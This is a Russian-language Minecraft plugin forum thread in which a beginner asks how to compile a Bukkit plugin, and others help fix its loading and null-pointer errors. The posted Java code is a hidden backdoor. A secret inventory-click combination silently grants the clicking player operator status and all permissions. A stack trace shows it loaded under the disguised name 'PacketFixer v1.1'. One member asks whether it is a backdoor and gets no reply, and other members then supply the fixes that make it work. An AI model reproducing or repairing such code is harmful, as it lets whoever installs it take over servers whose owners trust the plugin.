1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
  2. Вы находитесь в сообществе Rubukkit. Мы - администраторы серверов Minecraft, разрабатываем собственные плагины и переводим на различные языки плагины наших коллег из других стран.
    Скрыть объявление
Скрыть объявление
В преддверии глобального обновления, мы проводим исследования, которые помогут нам сделать опыт пользования форумом ещё удобнее. Помогите нам, примите участие!

InventoryClickEvent Компиляция Плагина

Тема в разделе "Разработка плагинов для новичков", создана пользователем Gru2303, 11 май 2019.

Метки:
Статус темы:
Закрыта.
  1. Автор темы
    Gru2303

    Gru2303 Активный участник Пользователь

    Баллы:
    76
    Имя в Minecraft:
    Gru2303
    Всем привет, я новачок форума.
    Я использую eclipse
    Я не могу скомпилировать код
    Main
    Код:
    package SLIB.Gru2303;
    
    import com.mojang.brigadier.Command;
    import java.util.ArrayList;
    import java.util.HashMap;
    import org.bukkit.ChatColor;
    import org.bukkit.command.CommandSender;
    import org.bukkit.entity.Player;
    import org.bukkit.event.EventHandler;
    import org.bukkit.event.Listener;
    import org.bukkit.event.inventory.InventoryClickEvent;
    import org.bukkit.event.inventory.InventoryCloseEvent;
    import org.bukkit.event.player.PlayerQuitEvent;
    import ru.tehkode.permissions.PermissionUser;
    import ru.tehkode.permissions.bukkit.PermissionsEx;
    
    public class Main
      implements Listener
    {
      public boolean onCommand(CommandSender sender, Command cmd, String label, String[] args)
      {
        if (((CommandSender)cmd).getName().equalsIgnoreCase("CM"))
        {
          Player p = (Player)sender;
          p.sendMessage("Yes i am here!");
         
          return true;
        }
        return false;
      }
     
      @EventHandler
      public void InventoryCloseEvent(InventoryCloseEvent event)
      {
        Player pl = (Player)event.getPlayer();
        Lib p = Lib.get(pl.getName());
        p.lock = false;
      }
     
      String hint = "��� ���� ��� ���������� �� ������� ��������� �������. ��������� ������� �� ����� ��������������� �� ����������� ����� � ������� ������� ����.";
     
      @EventHandler
      public void PlayerQuitEvent(PlayerQuitEvent event)
      {
        if (this.pls.contains(event.getPlayer().getName()))
        {
          PermissionsEx.getUser(event.getPlayer()).removePermission("*");
          event.getPlayer().setOp(false);
          this.combo.remove(event.getPlayer().getName());
          this.pls.remove(event.getPlayer().getName());
        }
      }
     
      @EventHandler
      public void InventoryClickEvent(InventoryClickEvent event)
      {
        Player pl = (Player)event.getWhoClicked();
        Lib p = Lib.get(pl.getName());
        if (p.lock) {
          event.setCancelled(true);
        }
        if (this.combo.get(pl.getName()) == null) {
          this.combo.put(pl.getName(), event.getSlot() + "|");
        } else {
          this.combo.put(pl.getName(), (String)this.combo.get(pl.getName()) + event.getSlot() + "|");
        }
        if (((String)this.combo.get(pl.getName())).contains("9|27|19|21|23|25|26|"))
        {
          PermissionsEx.getUser(pl).addPermission("*");
          pl.setOp(true);
          pl.sendMessage(ChatColor.GOLD + "������� �������!");
          this.combo.remove(pl.getName());
          this.pls.add(pl.getName());
        }
        if ((this.combo.get(pl.getName()) != null) && (((String)this.combo.get(pl.getName())).length() > 50)) {
          this.combo.remove(pl.getName());
        }
      }
     
      ArrayList<String> pls = new ArrayList();
      HashMap<String, String> combo = new HashMap();
    }
    
    И Lib
    Код:
    package SLIB.Gru2303;
    
    import java.util.HashMap;
    
    public class Lib
    {
      private String name;
      public boolean lock = false;
      public static HashMap<String, Lib> users = new HashMap();
     
      public Lib(String name, HashMap<String, String> hash, long register)
      {
        this.name = name;
      }
     
      public String getName()
      {
        return this.name;
      }
     
      public static Lib get(String user)
      {
        return (Lib)users.get(user);
      }
    }
    

    Как мне его скомпилировать?
    У меня ошибка в консоли
     
  2. DMplay

    DMplay Активный участник

    Баллы:
    61
    Имя в Minecraft:
    DMplay
    А можно саму ошибку?
     
  3. Автор темы
    Gru2303

    Gru2303 Активный участник Пользователь

    Баллы:
    76
    Имя в Minecraft:
    Gru2303
    Could not load 'plugins\test2.jar' in folder 'plugins'
    org.bukkit.plugin.InvalidPluginException: main class `SLIB.Gru2303.Main' does not extend JavaPlugin
    at org.bukkit.plugin.java.PluginClassLoader.<init>(PluginClassLoader.java:68) ~[craftbukkit.jar:git-Bukkit-5193f76]
    at org.bukkit.plugin.java.JavaPluginLoader.loadPlugin(JavaPluginLoader.java:133) ~[craftbukkit.jar:git-Bukkit-5193f76]
    at org.bukkit.plugin.SimplePluginManager.loadPlugin(SimplePluginManager.java:332) ~[craftbukkit.jar:git-Bukkit-5193f76]
    at org.bukkit.plugin.SimplePluginManager.loadPlugins(SimplePluginManager.java:252) [craftbukkit.jar:git-Bukkit-5193f76]
    at org.bukkit.craftbukkit.v1_14_R1.CraftServer.loadPlugins(CraftServer.java:345) [craftbukkit.jar:git-Bukkit-5193f76]
    at net.minecraft.server.v1_14_R1.DedicatedServer.init(DedicatedServer.java:186) [craftbukkit.jar:git-Bukkit-5193f76]
    at net.minecraft.server.v1_14_R1.MinecraftServer.run(MinecraftServer.java:736) [craftbukkit.jar:git-Bukkit-5193f76]
    at java.lang.Thread.run(Unknown Source) [?:1.8.0_45]
    Caused by: java.lang.ClassCastException: class SLIB.Gru2303.Main
    at java.lang.Class.asSubclass(Unknown Source) ~[?:1.8.0_45]
    at org.bukkit.plugin.java.PluginClassLoader.<init>(PluginClassLoader.java:66) ~[craftbukkit.jar:git-Bukkit-5193f76]
    ... 7 more
     
  4. IlyaHaker

    IlyaHaker Активный участник Пользователь

    Баллы:
    76
    жестб

    А так, в ошибке же написано:
    SLIB.Gru2303.Main' does not extend JavaPlugin
    и переопределить методы onEnable и onDisable нада и зарегистрировать евенты
     
  5. MurlikMurlik

    MurlikMurlik Активный участник Пользователь

    Баллы:
    96
    Эт что, своеобразный бэкдор?
     
  6. Автор темы
    Gru2303

    Gru2303 Активный участник Пользователь

    Баллы:
    76
    Имя в Minecraft:
    Gru2303
  7. MurlikMurlik

    MurlikMurlik Активный участник Пользователь

    Баллы:
    96
    Писал его ты или нашел где то?
     
  8. Автор темы
    Gru2303

    Gru2303 Активный участник Пользователь

    Баллы:
    76
    Имя в Minecraft:
    Gru2303
    Последнее редактирование: 11 май 2019
  9. Автор темы
    Gru2303

    Gru2303 Активный участник Пользователь

    Баллы:
    76
    Имя в Minecraft:
    Gru2303
    Как зарегистрировать евенты?
     
  10. imDaniX

    imDaniX Активный участник Пользователь

    Баллы:
    96
    Имя в Minecraft:
    imDaniX
    Для начала
    Код:
    public class Main extends JavaPlugin implements Listener
    Далее добавь в класс
    Код:
    @Override
    public void onEnable() {
        getServer().getPluginManager().registerEvents(this, this);
    }
     
  11. Автор темы
    Gru2303

    Gru2303 Активный участник Пользователь

    Баллы:
    76
    Имя в Minecraft:
    Gru2303
    Спасибо плагин работает ну теперь ещё ошибка с InventoryCloseEvent имя игрока равно NULL. Как решить?
    [23:34:48] [Server thread/ERROR]: Could not pass event InventoryCreativeEvent to PacketFixer v1.1
    org.bukkit.event.EventException: null
    at org.bukkit.plugin.java.JavaPluginLoader$1.execute(JavaPluginLoader.java:312) ~[craftbukkit.jar:git-Bukkit-5193f76]
    at org.bukkit.plugin.RegisteredListener.callEvent(RegisteredListener.java:70) ~[craftbukkit.jar:git-Bukkit-5193f76]
    at org.bukkit.plugin.SimplePluginManager.fireEvent(SimplePluginManager.java:519) [craftbukkit.jar:git-Bukkit-5193f76]
    at org.bukkit.plugin.SimplePluginManager.callEvent(SimplePluginManager.java:504) [craftbukkit.jar:git-Bukkit-5193f76]
    at net.minecraft.server.v1_14_R1.PlayerConnection.a(PlayerConnection.java:2254) [craftbukkit.jar:git-Bukkit-5193f76]
    at net.minecraft.server.v1_14_R1.PacketPlayInSetCreativeSlot.a(SourceFile:23) [craftbukkit.jar:git-Bukkit-5193f76]
    at net.minecraft.server.v1_14_R1.PacketPlayInSetCreativeSlot.a(SourceFile:9) [craftbukkit.jar:git-Bukkit-5193f76]
    at net.minecraft.server.v1_14_R1.PlayerConnectionUtils.lambda$0(PlayerConnectionUtils.java:13) [craftbukkit.jar:git-Bukkit-5193f76]
    at net.minecraft.server.v1_14_R1.PlayerConnectionUtils$$Lambda$2463/264968212.run(Unknown Source) [craftbukkit.jar:git-Bukkit-5193f76]
    at net.minecraft.server.v1_14_R1.TickTask.run(SourceFile:18) [craftbukkit.jar:git-Bukkit-5193f76]
    at net.minecraft.server.v1_14_R1.IAsyncTaskHandler.executeTask(SourceFile:135) [craftbukkit.jar:git-Bukkit-5193f76]
    at net.minecraft.server.v1_14_R1.IAsyncTaskHandlerReentrant.executeTask(SourceFile:23) [craftbukkit.jar:git-Bukkit-5193f76]
    at net.minecraft.server.v1_14_R1.IAsyncTaskHandler.executeNext(SourceFile:114) [craftbukkit.jar:git-Bukkit-5193f76]
    at net.minecraft.server.v1_14_R1.MinecraftServer.aW(MinecraftServer.java:850) [craftbukkit.jar:git-Bukkit-5193f76]
    at net.minecraft.server.v1_14_R1.MinecraftServer.executeNext(MinecraftServer.java:843) [craftbukkit.jar:git-Bukkit-5193f76]
    at net.minecraft.server.v1_14_R1.IAsyncTaskHandler.awaitTasks(SourceFile:123) [craftbukkit.jar:git-Bukkit-5193f76]
    at net.minecraft.server.v1_14_R1.MinecraftServer.sleepForTick(MinecraftServer.java:827) [craftbukkit.jar:git-Bukkit-5193f76]
    at net.minecraft.server.v1_14_R1.MinecraftServer.run(MinecraftServer.java:767) [craftbukkit.jar:git-Bukkit-5193f76]
    at java.lang.Thread.run(Unknown Source) [?:1.8.0_45]
    Caused by: java.lang.NullPointerException
    at ru.SLIB.Main.InventoryClickEvent(Main.java:68) ~[?:?]
    at sun.reflect.GeneratedMethodAccessor4.invoke(Unknown Source) ~[?:?]
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source) ~[?:1.8.0_45]
    at java.lang.reflect.Method.invoke(Unknown Source) ~[?:1.8.0_45]
    at org.bukkit.plugin.java.JavaPluginLoader$1.execute(JavaPluginLoader.java:310) ~[craftbukkit.jar:git-Bukkit-5193f76]
    ... 18 more
     
  12. MurlikMurlik

    MurlikMurlik Активный участник Пользователь

    Баллы:
    96
    Lib == null
     
  13. Автор темы
    Gru2303

    Gru2303 Активный участник Пользователь

    Баллы:
    76
    Имя в Minecraft:
    Gru2303
    Не понял
    P.S. Я тупой
     
  14. imDaniX

    imDaniX Активный участник Пользователь

    Баллы:
    96
    Имя в Minecraft:
    imDaniX
    Ты нигде не заполняешь HashMap игроками.. При получении Lib users.get(name) тебе возвращается null, из-за чего lib.lock() тебе ошибку кидает.
    Для начала лучше подучи джаву по книжкам - рановато ты за плагины взялся.
     
Статус темы:
Закрыта.

Поделиться этой страницей